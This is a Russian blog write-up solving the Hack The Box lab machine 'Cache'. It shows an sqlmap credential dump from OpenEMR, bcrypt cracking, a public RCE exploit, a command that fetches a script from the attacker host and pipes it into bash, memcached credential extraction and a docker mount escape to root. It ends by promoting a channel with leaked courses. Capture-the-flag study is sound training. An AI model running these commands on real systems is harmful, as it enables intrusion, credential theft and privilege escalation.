Pull to refresh

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker

Reading time 3 min
Views 3.2K

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье эксплуатируем уязвимости в CMS OpenEMR, работаем с memcached и docker.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.188, который я добавляю в /etc/hosts.

10.10.10.188 	blackfield.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1



На сервере работают SSH и веб сервер Apache.



И на сайте возможна авторизация.



Entry Point


В Burp Suite мы можем посмотреть, что за собой тянет каждая страница. И находим интересный JS файл, в котором есть проверка логина и пароля.



И авторизовавшись с этими данными, получим только какую-то картинку.



Просматривая сайт дальше, на About странице находим упоминание о HMS.



Я добавил данное имя в /etc/hosts и посмотрел, что вернет нам сервер.
10.10.10.188 hms.htb


Так уже лучше. Это CMS OpenEMR. Давайте посмотрим для нее эксплоиты (обратим внимание, что данная версия 2018 года).



И есть RCE (возьмем последнюю версию из представленных). Я скопировал код эксплоита в текущую рабочую директорию.



В коде видим, что нужно указать учетные данные.



А в описании к эксплоиту есть ссылка на PoC.



Изучая материал по данной ссылке, узнаем о SQL инъекции.



USER


Давайте перейдем к hms.htb/portal и попробуем зарегистрироваться.



После чего перейдем по следующему адресу hms.htb/portal/add_edit_event_user.php?eid=1 и получим ошибку.



Я повторил запрос через Burp Suite и сохранил его в файл. Давайте раскрутим SQL инъекцию с помощью sqlmap, передав ему этот файл запроса.

sqlmap -r r.req



И есть инъекция! Получим все БД.

sqlmap -r r.req --dbs



Теперь узнаем таблицы из openemr.

sqlmap -r r.req -D openemr --tables



Самую интересную я выделил на изображении, давайте получим данные из нее.

sqlmap -r r.req -D openemr -T users_secure --dump



И есть хеш bcrypt, давайте узнаем его режим в Hashcat.

hashcat --example | grep -A2 -B2 '\$2a\$'



А теперь перебираем и находим пароль.

hashcat -m 3200 -a 0 openemr_admin.hash ./tools/rockyou.txt --force



И укажем наш адрес и порт для прослушивания, полученные учетные данные и адрес страницы сайта в коде эксплоита.





Откроем листенер и выполним эксплоит.



Глянем какие есть пользователи.



Сделаем нормальный TTY шелл и перелогинимся под пользователем ash, так как мы знаем его пароль.

python3 -c 'import pty;pty.spawn("/bin/bash")'



И получаем первый флаг.



USER2


Для разведки на удаленном хосте используем скрипт LinPEAS.

curl 10.10.15.110/linpeas.sh | /bin/bash











И есть много информации: присутствует docker, причем второй пользователь входит в группу docker(999); При этом на локальном порте 11211 работает сервис memcached. Вся память memcached делится на куски — slab’ы. Давайте подключимся к порту 11211 и запросим их.

telnet localhost 11211
stats slabs



Slab’ы делятся на еще более мелкие куски — chunk’и. Так мы видим всего один Slab и его чанки. Давайте узнаем, что он хранит.

stats cachedump 1 0



Так каждая строка имеем определенный ключ-идентификатор, рядом с которым указан размер данных по данному ключу и timestamp. Нас конечно интересуют данные user и passwd.

get user
get passwd



И получаем второго пользователя(можно авторизоваться по SSH).



ROOT


Мы уже упоминали докер, давайте посмотрим образы.

docker images



Есть один образ ubuntu. Давайте примонтируем его.

docker run -v /:/mnt --rm -it  ubuntu chroot /mnt bash

И забираем флаг рута.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Tags:
Hubs:
+9
Comments 0
Comments Leave a comment

Articles